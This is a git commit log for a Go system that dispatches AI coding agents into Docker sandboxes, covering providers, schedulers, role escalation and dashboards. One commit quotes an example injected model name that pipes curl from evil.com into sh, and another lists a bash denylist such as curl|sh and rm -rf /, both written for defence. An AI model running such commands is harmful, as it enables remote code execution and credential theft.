| Age | Commit message (Collapse) | Author |
|
Pre-existing gofmt debt on all three files (confirmed dirty before
this session's nested-subtask-completion commit too, not a
regression) -- cleaned up while already touching these files.
|
|
(subtask-with-own-subtasks correctly blocks, cascades, and recovers)
|
|
Task 2 of the task-acceptance-criteria plan copied the plan
document's own misaligned struct-literal text verbatim without
running gofmt afterward, newly breaking gofmt compliance on
tools.go/agentmcp.go; also fixes pre-existing unrelated misalignment
in channel.go/channel_test.go while touching the same files.
|
|
spawn_subtask
|
|
|
|
is rejected
|
|
|
|
|
|
of always routing to REVIEW_READY
|
|
|
|
Task 4's plan scope covered agentchannel.go/channel.go/channel_test.go
but missed this second AgentChannel test double, which broke `go test
./...` (compile failure) even though `go build ./...` was clean.
|
|
signals
|
|
|
|
|
|
order its own subtasks
|
|
Agent.Model is concatenated unescaped into a sh -c command string in
ContainerRunner.buildInnerCmd (--model flag, added in the prior commit).
With no validation, a value like "sonnet; curl evil.com | sh" would
execute arbitrary shell code inside the task's container -- which has
mounted Claude credentials and git push access. Flagged by automated
security review immediately after that commit landed.
Restrict to the character set real model names actually use
(alphanumeric, dot, underscore, hyphen), validated at the same boundary
PermissionMode already uses (task.Validate, called before a task is ever
persisted or dispatched).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
buildInnerCmd never read t.Agent.Model when constructing the container's
claude -p invocation -- every Claude-type task silently ran on the CLI's
own default model regardless of what was requested via submit_task or the
role-based escalation ladder. Confirmed via execution logs: every task run
this session showed claude-sonnet-4-6 regardless of the model parameter
passed, which only went unnoticed because sonnet was requested every time.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
submitTask was using the inbound HTTP/MCP request context to submit work to
the executor pool, so every chatbot/REST-submitted task was cancelled the
moment the request returned rather than actually running. Use the server's
long-lived lifecycle context instead, matching the other Submit call sites.
Separately, computeExecutionStats compared execution state against a
lowercase 'completed' literal while the backend always emits uppercase
state values, so success rate silently read 0% for every execution. Also
treat READY as success alongside COMPLETED, since a top-level task's
execution lands at READY on success — COMPLETED requires a later, separate
accept step.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
|
|
redesign
The live DB has a stories table created before the full schema was
established. CREATE TABLE IF NOT EXISTS is a no-op on those DBs, so
epic_id, discovery_source, spec, acceptance_criteria_json, priority,
and root_task_id never landed — causing the CREATE INDEX on epic_id to
fail with "no such column" on startup.
Add an ALTER TABLE migration for each missing column, relying on the
existing isColumnExistsError guard for idempotency on fresh DBs.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
|
|
against sandbox escape
DockerSandbox.GitPush was running `git push` inside the container via
`docker exec`, but the origin remote URL is a host filesystem path that
was never bind-mounted into the container — only hostDir is. This caused
`exit status 128` in TestDockerSandbox_RealContainer_Lifecycle.
Fix: run `git -C hostDir push origin -- <ref>` from the host (mirroring
HostSandbox.GitPush), so local-path remotes are reachable. Two security
flags prevent a compromised workspace from escaping onto the host:
- `-c core.hooksPath=/dev/null` neutralises any hooks planted in .git/
- `-c protocol.ext.allow=never` blocks the ext:: pseudo-protocol
Also rejects refs starting with "-" and inserts "--" before the ref to
prevent argument injection.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
|
|
redesign (Phase 9b)
Two new tabs, matching Phase 9a's conventions: Budget (per-provider spend
meters, escalation funnel, spend-over-time) and Roles (version history,
draft activation, readable escalation-ladder view) -- the human-facing
surface for the token-husbanding value proposition and the Phase 5/8
versioned role-config system.
New backend (minimal, additive, matching existing endpoint conventions --
unauthenticated like /api/budget and /api/roles/*):
- internal/storage/dashboard.go: QueryEscalationFunnel (executions grouped
by escalation_rung + agent, count + cost) and QuerySpendTimeseries (cost
per provider bucketed hourly/daily, mirroring QueryDashboardStats'
existing bucketing expressions). Documented honestly: rung 0 is not
exclusively "resolved locally" -- escalation_rung defaults to 0
uniformly, so non-role-typed executions (which never climb a ladder)
land there too, alongside role-typed tasks genuinely resolved at tier 0.
A role-only variant would need a join against tasks.config_json with no
queryable role column on executions -- intentionally out of scope.
- internal/api/dashboard.go: GET /api/escalation-funnel, GET
/api/spend-timeseries (both ?window=5h|24h|7d|<duration>, default 24h).
- internal/storage.ListRoleNames + GET /api/roles: the "which roles exist"
gap -- there was no way to discover role names before this, only to list
versions for a role you already knew the name of.
Chart-form decisions (dataviz skill, invoked before writing chart code):
horizontal stacked bar for the escalation funnel (rung order already
encodes the funnel shape positionally; color only needed for per-provider
segments within each rung); multi-line for spend-over-time; a fixed-order
categorical palette from the skill's validated palette.md slots for
provider identity (re-validated against this app's dark surface, passing);
a separate status (good/warning/critical) palette for budget meters,
deliberately distinct from both --state-* and the provider palette. Caught
and fixed a real bug during visual QA: converging near-zero end-labels on
the spend chart were overlapping (an anti-pattern the skill explicitly
flags) -- fixed with a 14px minimum-gap check before direct-labeling an
endpoint, leaning on the legend/tooltip otherwise.
Verified with a real running server, real seeded data (65 executions across
rungs 0-2 with a realistic provider mix, 2 roles with active/draft/retired
role_configs versions written directly via internal/storage), and a real
headless-browser session (reusing Phase 9a's Chromium/proxy scaffinding):
confirmed correct rung totals/percentages, provider legends, a 3-line spend
chart, live window-selector re-render, correct active-version highlighting
on the role panel, and a real Activate click on a draft version -- verified
via both DOM re-render and a direct backend GET that it truly persisted.
go build/vet/test -race -count=1 all pass, full suite. node --test
web/test/*.mjs: 291/291 passing (16 new).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
(Phase 8)
The final mechanism the versioned role-config model (Phase 5) was built for:
when a story reaches DONE, StoryOrchestrator spawns a retro-role task that
reflects on the story's full history and proposes draft role_configs
versions for a human to review and activate via the existing (unchanged)
POST /api/roles/{role}/activate.
- AgentChannel gains a 6th method, ProposeRoleConfig(ctx, role.RoleConfig)
(version, err), following ProposeEpic's precedent (Phase 7c): a structured
tool call, not summary-parsing. storeChannel.ProposeRoleConfig calls the
same Store.CreateRoleConfig the human-facing POST /api/roles/{role}/versions
endpoint already uses (proposed_by: "retro"), landing a new draft row
without touching whatever's currently active. Wired through both
transports exactly like ProposeEpic: internal/agentloop/tools.go (native
loop) and internal/executor/agentmcp.go (MCP).
- StoryOrchestrator.Tick now routes a story at status DONE to a new
processRetro stage instead of processStory -- a sibling stage, not a
continuation, since the Builder->Evaluators->Arbitration chain is long
settled by then. processRetro only *reads* that settled pipeline
(read-only findEvaluators/findArbitration counterparts to
ensureEvaluators/ensureArbitration -- it never spawns/mutates
Builder-pipeline tasks) to locate the Arbitration task the retro task
depends on, then spawns (idempotently -- checks for an existing
retro-role dependent first) one retro-role task with instructions
assembled from the story's spec/acceptance-criteria, full task tree, per-
task cost/escalation history, active role_configs per role encountered,
and the story's own event stream (evaluator verdicts, arbitration
decision).
- event.KindRetroCaptured (attached to the story's ID, matching
KindEvalVerdict/KindArbitrationDecided's convention) fires once the retro
task completes (auto-accepted like every other pipeline task), aggregating
every event.KindRoleConfigProposed the retro task recorded (one per
propose_role_config call) into {task_id, proposals: [{role, version}],
summary} -- the summary is the "capturing lessons" half of this ceremony,
the proposals are the versioned-config half.
- Human activation is completely untouched: drafts land through the
identical CreateRoleConfig/config_json path Phase 5's endpoints already
handle, confirmed via existing role-endpoint tests passing unmodified.
go build/vet/test -race -count=1 all pass, full suite (20 packages) -- one
run hit a known, pre-existing, intermittent flake under full-suite load
(unrelated to this phase's files) that did not reproduce on two immediate
reruns, both in isolation and full-suite.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
(Phase 7c)
Two independent pieces, completing Phase 7.
Epic-proposal tool: AgentChannel gains a 5th method, ProposeEpic(ctx,
EpicProposal{Name, Description, StoryIDs}) (epicID, err), implemented on
storeChannel -- matches an existing epic by exact name or creates one
(DiscoverySource: "agent"), sets epic_id on each resolvable story (skips,
doesn't fail, on an unresolved ID), emits KindEpicProposed attached to the
epic's own ID with payload {epic_id, name, story_ids}. Wired into both
transports exactly like Phase 6 wired role into spawn_subtask: a new
propose_epic tool in the native tool-use loop (internal/agentloop/tools.go)
and the MCP transport (internal/executor/agentmcp.go). This is the mechanism
for a discovery/planner-role agent to act on its own judgment that several
stories it's been given form one cohesive initiative -- the judgment itself
lives in the calling agent's instructions/model, not in this code.
AskUser-timeout escalation: extends the existing Scheduler (Phase 5's
retry-then-escalate watcher) rather than adding a new component, since
"stuck task needs escalation" is exactly what it already does. Finds
role-typed BLOCKED tasks whose question has been outstanding longer than
SchedulerConfig.AskUserTimeoutSeconds (default 10 minutes) using
task.UpdatedAt as the outstanding-since timestamp -- no new column needed,
since UpdateTaskQuestion already stamps it the instant a question is
recorded and nothing else touches the row while BLOCKED. Resolves the next
ladder tier from the latest execution's EscalationRung, records the
system-authored fallback answer as an audit-trail task.Interaction, clears
the question, sets the new tasks.needs_review flag, emits KindEscalated
(now carrying a trigger field: "failure" vs "ask_user_timeout" for the
existing failure-retry path vs this one), and resumes via Pool.SubmitResume
at the escalated tier -- degrading to same-tier resume with final:true if
the ladder's exhausted or no role config exists, since unblocking the task
takes priority over having somewhere higher to escalate to.
GET /api/tasks?needs_review=true surfaces auto-decided tasks for human
review.
go build/vet/test -race -count=1 all pass, full suite (20 packages), run
twice to rule out flakiness in the new tests. (One pre-existing, unrelated
test -- TestHandleRunTask_CascadesRetryToFailedDeps, a tempdir-cleanup race
-- appeared once under full-suite load per the implementing agent's report
and did not reproduce in this verification's runs either; not a regression
from this work.)
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Builder->Evaluators->Arbitration->accept (Phase 7b)
A deterministic, poll-based watcher (internal/scheduler.StoryOrchestrator,
sibling to the Phase 5 Scheduler) that drives a story.Story through its
execution pipeline, rather than relying on an LLM agent to correctly
orchestrate its own fan-out via tool calls.
Mechanism: polling, not a handleRunResult hook. Every task the orchestrator
watches (a story's root/Builder task, 4 Evaluators, Arbitration) is
top-level (no ParentTaskID), and executor.Pool.handleRunResult only ever
lands a top-level task at READY or BLOCKED -- never COMPLETED directly, since
that transition normally requires a human/chatbot POST /api/tasks/{id}/accept
in a different package. A handleRunResult hook would never observe it;
polling doesn't care how/whether a task reached a given state.
Stages: Builder COMPLETED -> spawn 4 role-typed Evaluator tasks
(evaluator_quality/security/correctness/performance, DependsOn: [builder],
no ParentTaskID -- true DAG siblings, not delegated subtasks) + story ->
VALIDATING. Each Evaluator COMPLETED -> emit KindEvalVerdict (attached to
the story's ID, so one GET /api/stories/{id}/events call surfaces every
verdict). All 4 Evaluators COMPLETED -> spawn 1 Arbitration task
(role: planner, DependsOn: all 4 evaluator IDs). Arbitration COMPLETED ->
emit KindArbitrationDecided, story -> REVIEW_READY. POST
/api/stories/{id}/accept (mirrors handleAcceptTask) -> DONE, emits
KindHumanAccepted.
Fixes a gap caught before merging: since none of Builder/Evaluators/
Arbitration have a ParentTaskID, none of them auto-complete -- each would
otherwise need a separate manual /api/tasks/{id}/accept, meaning 6 human
clicks per story before ever reaching the intended single story-level gate.
StoryOrchestrator.autoAccept now transitions each of these specific tasks
READY->COMPLETED itself (via the same validated Store.UpdateTaskState path
acceptTask uses), scoped only to tasks already established as part of a
story's pipeline (root task, or role-matched dependents from
ensureEvaluators/ensureArbitration) -- never a blanket sweep of unrelated
READY tasks. This makes POST /api/stories/{id}/accept the system's only
required human touchpoint for the whole chain, matching the design goal
that story (not task/subtask) is the human-interaction atom.
Idempotency: structural for task-creation stages (ensureEvaluators/
ensureArbitration check ListDependents for already-existing role-matched
tasks before creating -- crash/restart-safe); story.Status=="VALIDATING"
gates the Arbitration->REVIEW_READY write (nothing further downstream to
check structurally there); an in-memory handledVerdicts set (mirrors
Scheduler.handled) dedupes per-evaluator KindEvalVerdict emission across
poll ticks, resetting harmlessly on restart.
Documented simplification: finalizeArbitration never parses the Arbitration
summary for approve/reject -- always routes to REVIEW_READY; NEEDS_FIX is
manually settable via PUT /api/stories/{id}. A later phase could close this
with a dedicated verdict-reporting AgentChannel method instead of parsing
free text.
go build/vet/test -race -count=1 all pass, full suite (20 packages).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Pure data model + CRUD -- no orchestration behavior yet (that's Phase 7b).
Revives ADR-007's stories concept (adapted; ADR-007 itself was deleted as
"more machinery than the usage pattern needed") while staying lean: reuses
the existing events/projects/task-tree machinery rather than building a
parallel hierarchy.
- internal/story: Epic/Story types. Epic is a loosely-scoped initiative
(OPEN/CLOSED, no execution semantics). Story is a shippable slice of work
realized by a task tree rooted at root_task_id; epic_id/project_id/
root_task_id are loose references (no FK enforcement, matching the
codebase's existing tolerance for unmatched reference strings like
tasks.project).
- storage: new epics/stories tables (additive migrations) + CRUD methods.
Story status is intentionally unvalidated pass-through in this phase --
no task.ValidTransition-style state machine, since there's no orchestrator
yet to make transitions meaningful.
- event: 9 new Kind constants for the ceremony this layer will eventually
drive (epic_proposed, discovery_proposed, framing_decided, groomed,
prioritized, eval_verdict, arbitration_decided, retro_captured,
human_accepted) -- defined but nothing emits them yet.
- api: GET/POST /api/epics, GET/PUT /api/epics/{id}, GET /api/epics/{id}/stories,
GET/POST /api/stories, GET/PUT /api/stories/{id}, and GET
/api/stories/{id}/task-tree -- BFS walk from root_task_id following both
parent_task_id children and depends_on-edge dependents (visited-set
guarded), returning a flat node list for a later UI phase to render as a
graph. Unauthenticated, matching the existing projects/tasks endpoints'
posture.
go build/vet/test -race -count=1 all pass, full suite.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
(Phase 6)
Two prerequisites for safe parallel evaluator fan-out (later phase):
1. Auto-cascade-fail: previously, a failed task's dependents just sat
PENDING/QUEUED forever (or until something eventually tried to dispatch
them and discovered the dependency was dead). Pool.cascadeFail now fires
right after a task lands in a terminal failure state (FAILED/TIMED_OUT/
CANCELLED/BUDGET_EXCEEDED, from handleRunResult, the budget-gate reject
path, and the checkDepsReady dependency-failure path), recursively
cancelling every not-yet-run dependent (PENDING/QUEUED only -- RUNNING and
terminal states are left alone) with a message referencing the upstream
failure. A visited-set guards recursion, which turned out to be
load-bearing rather than defense-in-depth: task creation does not prevent
dependency cycles anywhere in this codebase.
Correction to an earlier assumption: internal/executor's
waitForDependencies is dead code, never called. The live mechanism is
checkDepsReady, invoked synchronously in execute() with a self-requeue via
time.AfterFunc. Added a freshness re-check (GetTask, bail if no longer
QUEUED) at the top of that block so a task cascade-cancelled while sitting
in the requeue loop stops silently instead of hitting an invalid
CANCELLED->CANCELLED transition or, worse, still getting dispatched.
2. storeChannel.SpawnSubtask hardcoded Agent.Type: "claude" on every spawned
child regardless of what role it should play -- a hard blocker for a
Planner/Builder task spawning role-typed evaluator subtasks. SubtaskSpec
(internal/agentchannel) gains a Role field; when set, the child task gets
Agent.Role instead of a hardcoded Type, so Phase 5's role-resolution picks
provider/model from that role's escalation ladder. spec.Role == "" (every
existing caller) preserves today's exact behavior byte-for-byte -- proven
by an explicit regression test, not just new-feature coverage. Threaded
the new `role` parameter through both spawn_subtask transports: the native
tool-use loop (internal/agentloop/tools.go) and the MCP tool exposed to
ContainerRunner-driven claude/gemini agents (internal/executor/agentmcp.go).
go build/vet/test -race -count=1 all pass, full suite (20 packages).
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Two parts:
Part A (fixes a gap from Phase 1): Groq/OpenRouter/OpenAI were documented in
docs/api-keys-setup.md as usable once configured, but nothing actually
constructed runners for them. internal/cli/cloudrunners.go consolidates
anthropic/google/groq/openrouter/openai NativeRunner construction into one
table-driven registerCloudRunners() helper, replacing the two hand-written
per-provider blocks in serve.go/run.go. Groq/OpenRouter/OpenAI reuse
openaicompat (no new adapter code) at SandboxKind: "docker".
Part B: the token-husbanding harness's core routing mechanism.
- internal/role: RoleConfig/Tier/Rung -- a role's system prompt and a
multi-tier (provider, model) escalation ladder, versioned via config_json.
- storage: new role_configs table (draft/active/retired, UNIQUE(role,
version)) with transactional activate-retires-prior-active semantics;
new executions.escalation_rung column.
- task.AgentConfig.Role string -- purely additive; every existing task shape
(Agent.Role == "") is unaffected, proven by TestPool_Execute_NonRoleTask_Unaffected
plus the full pre-existing suite passing unchanged.
- executor.Pool.execute(): role-typed tasks with no Agent.Type yet resolve
tier 0 of their active ladder (round-robin across multi-candidate tiers,
skipping rate-limited providers, falling back to soonest-clearing) before
the existing pickAgent/Classifier path runs; SystemPrompt applies to
Agent.SystemPromptAppend. Already-resolved role tasks (scheduler resubmits)
get their escalation_rung re-derived read-only via findTierIndex.
- internal/scheduler: polls role-typed FAILED tasks, retries at the same
rung under MaxRetries or escalates to the next tier's first candidate when
budget.Accountant.Allow() permits (emitting event.KindEscalated), else
leaves the task FAILED with a final:true KindEscalated event. An
in-memory per-execution-ID "handled" set keeps the poll loop convergent.
Started by `serve` only, config knob [scheduler].poll_interval_seconds.
- internal/api: POST/GET /api/roles/{role}/versions, POST
/api/roles/{role}/activate -- unauthenticated, matching the existing
projects/tasks REST endpoints' auth posture (only chatbot MCP, agent MCP,
and WebSocket are api_token-gated in this codebase today).
Documented as stored-but-not-yet-enforced (CLAUDE.md Design Debt, matching
how task.Priority/RetryConfig are already documented): RoleConfig.Tools/
SandboxKind don't affect dispatch yet; DefaultBudgetUSD is read narrowly as
the scheduler's escalation cost estimate, not enforced at initial dispatch;
scheduler escalation always targets Candidates[0] (no round-robin, unlike
initial-dispatch tier-0 resolution); the scheduler's dedupe is per-process
and resets on restart (idempotent, harmless).
go build/vet/test -race -count=1 all pass, 21 packages.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Adds internal/provider/google, the second native cloud adapter (following
internal/provider/anthropic's pattern) on top of Phase 1's provider-neutral
tool-use loop, wired to a Docker-sandboxed NativeRunner under agent.type:
"google" -- a separate execution path and budget bucket from the existing
CLI-subprocess "gemini" ContainerRunner, which is untouched.
Wire-format research (the highest-risk part of this adapter): Gemini's
multi-turn function-calling shape was resolved by cross-referencing the
REST API reference's own generateContent example against the go-genai SDK's
struct tags on GitHub -- both agree on functionCall/functionResponse parts
keyed by "name" (with an optional "id" for round-tripping ToolCall.ID),
with the response fed back inside a "user"-role Content (Gemini has no
tool/function role, mirroring Anthropic's lack of one). A separate fetched
source (the function-calling guide page) was deliberately discarded as a
reference for this shape -- it documents a different, newer "Interactions
API" whose call_id/type:"function_result" structure doesn't fit the
contents/parts/candidates shape used everywhere else.
- internal/provider/google: request/response translation, systemInstruction
handling, role mapping (assistant->model, tool-results->user role),
per-model-prefix pricing table (2.5 Pro/Flash/Flash-Lite, 2.0, 1.5 tiers)
- internal/retry: IsRateLimitError additively extended for RESOURCE_EXHAUSTED
- internal/config: RunnersConfig.Google/GoogleEnabled()
- internal/cli/serve.go, run.go: runners["google"] construction mirroring
the Anthropic wiring exactly (Docker sandbox default)
- docs/api-keys-setup.md: Google marked wired-up, budget-bucket/disable/
verify guidance added matching the Anthropic section
go build/vet/test -race all pass. No live Gemini API key available in this
environment; verified via fake-httptest-server adapter tests (plain text,
tool-use round-trip, multi-turn tool-result, rate-limit error matching) plus
a Pool/NativeRunner routing test. Live E2E is a follow-up once a key is
configured, same as Phase 2's Anthropic adapter.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Gives native-API-driven agents (currently just the Phase 2 Anthropic
adapter) real container isolation, decoupled from model invocation --
the model call happens in the Go process via provider.Provider, only tool
execution happens in the container, unlike the CLI-subprocess ContainerRunner
(left completely untouched) where the claude/gemini CLI runs inside the
container.
- internal/sandbox/dockersandbox.go: Sandbox via a long-lived
`docker run -d ... sleep infinity` container (started once per execution,
not per tool call), host-side git clone + bind-mount matching
ContainerRunner's existing pattern, docker exec for read/write/bash/glob.
Reuses images/agent-base (claudomator-agent:latest) rather than
standing up a second image. WorkDir()/resume persists the host bind-mount
directory (matching HostSandbox's contract); a resumed sandbox lazily
starts a fresh container against that directory rather than trying to
reattach to a possibly-gone one.
- internal/sandbox/guard.go, hooks.go: Hook interface (CheckBash/CheckWrite),
Guarded wrapper, DenylistBashHook (rm -rf /, force-push, curl|sh, sudo,
chmod 777, dd if=) and ProtectedPathHook (.git/**, .env*, credentials/,
.github/workflows/**). A rejection returns *RejectionError, which
agentloop/tools.go now recognizes and feeds back to the model as a normal
(non-fatal) tool-error result instead of aborting the run.
- NativeRunner wraps whichever Sandbox it builds (Host or Docker) in
Guarded{Hooks: DefaultHooks()} uniformly. The "anthropic" runner now uses
DockerSandbox; "local" stays on HostSandbox by design (local models are
the harness's more-trusted, lower-stakes-to-run tier).
Docker is not installed in this dev environment (no docker/podman/containerd
on PATH), so DockerSandbox's real container-lifecycle behavior is verified
via mocked-command unit tests only -- go test -race ./... passes throughout,
with the two real-daemon integration tests gated behind a dockerAvailable(t)
check and skipping here. Live verification against an actual Docker host is
a follow-up before relying on the "anthropic" agent type in production.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Adds internal/provider/anthropic, the first genuinely new provider.Provider
implementation on top of Phase 1's provider-neutral tool-use loop, alongside
(not replacing) the existing Docker/CLI-subprocess ContainerRunner path for
the "claude" agent type:
- internal/provider/anthropic: translates the neutral ChatRequest/ChatResponse
shape to/from Anthropic's Messages API content-block format (system as a
top-level field, tool_use/tool_result blocks, no "tool" role -- tool
results become user-role messages), with a per-model-prefix pricing table
for CostUSD
- internal/retry: IsRateLimitError additively extended to recognize
Anthropic's rate_limit_error/overloaded_error/529 shapes
- internal/config: RunnersConfig.Anthropic/AnthropicEnabled() gate
- internal/cli/serve.go, run.go: register runners["anthropic"] as a
NativeRunner when [providers.anthropic].api_key is set and enabled --
tracked as a distinct executions.agent="anthropic" budget bucket, separate
from the CLI-subprocess "claude" runner even though both bill the same
Anthropic account
go build/vet/test -race all pass. No live Anthropic API key is available in
this environment, so verification is via fake-httptest-server adapter tests
(12 cases, incl. multi-turn tool_result round-trip and rate-limit error
matching) plus a Pool/NativeRunner routing test proving agent.type:
"anthropic" actually reaches the new provider. Live end-to-end verification
against the real API is a follow-up once a key is configured.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Splits LocalRunner's OpenAI-specific agentic loop into reusable, provider-
agnostic pieces so later phases can add native Anthropic/OpenAI/Google/Groq/
OpenRouter adapters without duplicating the control flow:
- internal/provider: neutral Provider/ChatRequest/ChatResponse types, plus
an openaicompat adapter wrapping the existing internal/llm.Client unchanged
- internal/sandbox: Sandbox interface + HostSandbox (git clone/push/cleanup,
read_file/write_file/run_bash/glob), lifted verbatim from local.go/localtools.go
- internal/agentloop: the extracted tool-use loop (request/response/tool-
dispatch/loop, ask_user blocking, stream-json envelope, summary fallback)
- internal/agentchannel: AgentChannel/SubtaskSpec/BlockedError/ErrAgentBlocked
moved out of internal/executor so agentloop can use them without an import
cycle; internal/executor re-exports via type aliases, so no call site changes
- internal/executor/nativerunner.go: NativeRunner replaces LocalRunner,
wiring agentloop.Loop + openaicompat + HostSandbox together
- config.Providers map[string]ProviderConfig added (unused until Phase 2+)
Zero intended behavior change: go test -race ./... passes across all
packages, and end-to-end stream-json/summary/changestats output was verified
byte-compatible against a fake OpenAI-compatible server. Adds test coverage
for sandbox tool-dispatch (git clone/push, read/write/bash/glob) that
LocalRunner never had.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
|
|
Add read_file, write_file, run_bash, and glob tool definitions to
agentToolDefs() in localtools.go, with dispatch in dispatchAgentTool()
(signature now includes workDir). File and bash tools return an error
when workDir is empty.
LocalRunner.Run() clones t.Agent.ProjectDir into a temp dir when set,
passes workDir to dispatchAgentTool, pushes commits back on success,
preserves the sandbox in e.SandboxDir on BLOCKED, and cleans up on
completion.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Remove the dead stories/checker backend tracked as design debt in CLAUDE.md:
- Delete internal/api/stories.go, stories_test.go, elaborate.go
- Delete internal/task/story.go, story_test.go
- Remove story/checker columns from storage schema and all CRUD methods
- Remove checkStoryCompletion, spawnCheckerTask, triggerStoryDeploy,
createValidationTask, checkValidationResult, ShipStory, CheckStoryCompletion
from executor; simplify handleRunResult
- Remove story/checker fields from task.Task (StoryID, AcceptanceCriteria,
CheckerForTaskID, CheckerReport)
- Remove story routes and geminiBinPath from API server
- Move claudeJSONResult/extractJSON from elaborate.go to validate.go
- Rename ensureStoryBranch -> ensureBranch in ContainerRunner
- Fix git identity in bare-repo tests; fix initial-branch to use main
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
|
|
ContainerRunner fails at runtime with a non-descriptive error if
repository_url is missing. Catch it at task creation time instead.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
text output
- Retry Chat() without tools when error contains "does not support tools"
(case-insensitive); tinyllama fast-path still skips the first round-trip.
- Pass mcpEnabled=len(tools)>0 to buildAgentInstructions so tool-less models
don't receive a planning preamble they can't act on; tools must be decided
before messages are built, so reorder accordingly.
- Collect all assistant text into fullText across turns; after a non-blocked
run, if e.Summary is empty set it to the first 500 chars of fullText so
handleRunResult has something to store when report_summary is never called.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
|
|
|
|
|
|
terminalStates in logs.go only included Completed/Failed/TimedOut/Cancelled/
BudgetExceeded. Executions in READY state (task awaiting user accept/reject)
fell through both branches, causing the log viewer to emit an immediate done
event with no content — visually an empty log panel.
BLOCKED is also added: ask_user suspends execution with the log fully written.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
p.active was incremented by dispatch() before launching execute(), but
execute() had four early-return paths (budget gate, dep terminal failure,
deps not ready, per-agent limit) that returned before the defer
decActiveAgent was registered. Each such return leaked a slot, eventually
saturating maxConcurrent and permanently blocking dispatch() on doneCh.
Introduce releaseDispatchSlot() (decrements p.active + signals doneCh) and
defer it at the very top of execute() and executeResume(), so every exit
path releases the dispatch slot. Remove p.active and doneCh management from
decActiveAgent so it only handles the per-agent counter.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
The checker task previously had no context about what the agent did —
it tried to reach the API (potentially unavailable), search /home for
artifacts, and clone the repo, all of which fail for LocalRunner tasks.
Now spawnCheckerTask reads the tail of the execution's stdout.log and
embeds it directly in the checker's instructions so the checker can
verify output without needing Docker, API access, or repo cloning.
Also fixes container_test: adds noopChannel to satisfy the AgentChannel
parameter added by the OSS Runner interface.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
loopback-only bind
Key features from OSS branch:
- Budget gating: rolling per-provider spend caps with BUDGET_EXCEEDED task state
- Agent MCP back-channel: runners mint tokens; /mcp endpoint resolves them
- Chatbot MCP server at /chatbot/mcp (requires api_token in config)
- Event timeline: unified event stream replacing ad-hoc question/summary flows
- Loopback-only default bind (127.0.0.1:8484); external_bind_allowed=true to expose
- repository_url required on task creation (enforces traceability)
- Auto-checker: spawns verification task after each execution
Conflict resolutions:
- serve.go: keep cfg.Runners.XEnabled() conditional registration from main + agentRegistry from oss
- config.go: keep RunnersConfig from main + BudgetConfig/ExternalBindAllowed from oss
- server.go: handleStaticFiles (base-path rewrite) kept; deduplicated duplicate from both sides
- executor/claude.go: accepted oss deletion (ClaudeRunner replaced by ContainerRunner)
- container_test.go: added noopChannel + AgentChannel parameter to Run call
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Allows running multiple instances (e.g. /claudomator and /claudomator-oss)
behind a reverse proxy. The server rewrites the base-path meta tag in
index.html at request time rather than baking it into the embed.
Also adds --branch support to deploy script for isolated branch builds
via git worktrees.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
- ContainerRunner now resolves local project path for non-story (CI)
tasks, cloning from the local bare repo instead of the HTTPS GitHub
URL to avoid auth failures on the host.
- CI failure tasks now use SSH URLs (git@github.com:...) instead of
HTTPS to avoid credential prompts even when no local path is found.
- GitHub push webhook events now trigger an async git fetch into the
local bare repo, keeping the local mirror in sync when work happens
directly on GitHub.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
|
|
With the MCP agent channel validated (the spike confirmed real claude calls
ask_user/report_summary through it), the container runner no longer needs the
pre-MCP file fallback that read question.json/summary.txt after the agent
exited. Removes that block and the now-orphaned isCompletionReport/
extractQuestionText helpers and their test. The MCP path
